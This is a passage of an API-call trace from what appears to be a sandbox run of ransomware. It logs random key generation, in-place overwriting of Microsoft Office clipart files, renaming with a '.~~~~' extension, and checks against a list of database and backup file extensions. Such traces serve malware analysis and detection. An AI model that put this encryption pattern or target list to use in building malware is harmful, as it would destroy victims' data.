	[0106.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa908bc10, dwHighDateTime=0x1d60e1e)) 
	[0106.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d750
	[0106.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d750 | out: hHeap=0x300000) returned 1
	[0106.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872e48
	[0106.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.307] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.308] GetLastError () returned 0x0
	[0106.308] GetLastError () returned 0x0
	[0106.308] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.308] GetLastError () returned 0x0
	[0106.308] GetLastError () returned 0x0
	[0106.326] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff6b3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.326] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x94c4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x94c4, lpOverlapped=0x0) returned 1
	[0106.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.327] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.327] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.327] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.327] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.328] CloseHandle (hObject=0x11c) returned 1
	[0106.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.343] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.~~~~")) returned 1
	[0106.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.355] GetLastError () returned 0x0
	[0106.356] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.357] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.357] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.357] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22634746348) returned 1
	[0106.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9124190, dwHighDateTime=0x1d60e1e)) 
	[0106.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d868
	[0106.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d868 | out: hHeap=0x300000) returned 1
	[0106.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873010
	[0106.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.358] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.358] GetLastError () returned 0x0
	[0106.359] GetLastError () returned 0x0
	[0106.359] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.359] GetLastError () returned 0x0
	[0106.359] GetLastError () returned 0x0
	[0106.378] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcf0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.379] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x30f2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x30f2, lpOverlapped=0x0) returned 1
	[0106.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.380] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.380] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.380] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.380] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.380] CloseHandle (hObject=0x11c) returned 1
	[0106.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.381] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.~~~~")) returned 1
	[0106.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.382] GetLastError () returned 0x0
	[0106.386] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.388] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.388] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.388] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22637792154) returned 1
	[0106.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9170450, dwHighDateTime=0x1d60e1e)) 
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d8d8
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d8d8 | out: hHeap=0x300000) returned 1
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873308
	[0106.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.389] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.389] GetLastError () returned 0x0
	[0106.389] GetLastError () returned 0x0
	[0106.389] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.389] GetLastError () returned 0x0
	[0106.389] GetLastError () returned 0x0
	[0106.392] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff7e9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.392] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x8166, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x8166, lpOverlapped=0x0) returned 1
	[0106.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.393] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.393] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.393] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.393] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.393] CloseHandle (hObject=0x138) returned 1
	[0106.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898768
	[0106.394] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.~~~~")) returned 1
	[0106.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.395] GetLastError () returned 0x0
	[0106.396] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.397] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.397] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.398] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22638777742) returned 1
	[0106.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9170450, dwHighDateTime=0x1d60e1e)) 
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d910
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d910 | out: hHeap=0x300000) returned 1
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2898768
	[0106.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873438
	[0106.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898768 | out: hHeap=0x300000) returned 1
	[0106.399] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.399] GetLastError () returned 0x0
	[0106.399] GetLastError () returned 0x0
	[0106.399] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.399] GetLastError () returned 0x0
	[0106.399] GetLastError () returned 0x0
	[0106.403] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffc900, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.403] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3700, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x3700, lpOverlapped=0x0) returned 1
	[0106.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0106.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.404] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.404] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.404] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.404] CloseHandle (hObject=0x138) returned 1
	[0106.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2898810
	[0106.405] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.~~~~")) returned 1
	[0106.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2898810 | out: hHeap=0x300000) returned 1
	[0106.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.406] GetLastError () returned 0x0
	[0106.439] lstrlenW (lpString=".sqb") returned 4
	[0106.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".sqb") returned 0x0
	[0106.440] lstrlenW (lpString=".ost") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".ost") returned 0x0
	[0106.440] lstrlenW (lpString=".txt") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".txt") returned 0x0
	[0106.440] lstrlenW (lpString=".mdt") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".mdt") returned 0x0
	[0106.440] lstrlenW (lpString=".BDB") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".BDB") returned 0x0
	[0106.440] lstrlenW (lpString=".eql") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".eql") returned 0x0
	[0106.440] lstrlenW (lpString=".DBF") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DBF") returned 0x0
	[0106.440] lstrlenW (lpString=".EQL") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".EQL") returned 0x0
	[0106.440] lstrlenW (lpString=".FDB") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".FDB") returned 0x0
	[0106.440] lstrlenW (lpString=".EDB") returned 4
	[0106.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".EDB") returned 0x0
	[0106.440] lstrlenW (lpString=".DACPAC") returned 7
	[0106.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DACPAC") returned 0x0
	[0106.441] lstrlenW (lpString=".VHD") returned 4
	[0106.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".VHD") returned 0x0
	[0106.441] lstrlenW (lpString=".DBV") returned 4
	[0106.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DBV") returned 0x0
	[0106.441] lstrlenW (lpString=".dacpac") returned 7
	[0106.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".dacpac") returned 0x0
	[0106.441] lstrlenW (lpString=".sdf") returned 4
	[0106.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".sdf") returned 0x0
	[0106.441] lstrlenW (lpString=".accdb") returned 6
	[0106.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".accdb") returned 0x0
	[0106.441] lstrlenW (lpString=".DBX") returned 4
	[0106.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DBX") returned 0x0
	[0106.441] lstrlenW (lpString=".MDT") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".MDT") returned 0x0
	[0106.442] lstrlenW (lpString=".SQB") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".SQB") returned 0x0
	[0106.442] lstrlenW (lpString=".vhd") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".vhd") returned 0x0
	[0106.442] lstrlenW (lpString=".bac") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".bac") returned 0x0
	[0106.442] lstrlenW (lpString=".mdf") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".mdf") returned 0x0
	[0106.442] lstrlenW (lpString=".BAK") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".BAK") returned 0x0
	[0106.442] lstrlenW (lpString=".BAC") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".BAC") returned 0x0
	[0106.442] lstrlenW (lpString=".dbs") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".dbs") returned 0x0
	[0106.442] lstrlenW (lpString=".vhdx") returned 5
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".vhdx") returned 0x0
	[0106.442] lstrlenW (lpString=".NDF") returned 4
	[0106.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".NDF") returned 0x0
	[0106.443] lstrlenW (lpString=".dat") returned 4
	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".dat") returned 0x0
	[0106.443] lstrlenW (lpString=".DBS") returned 4
	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DBS") returned 0x0
	[0106.443] lstrlenW (lpString=".CKP") returned 4
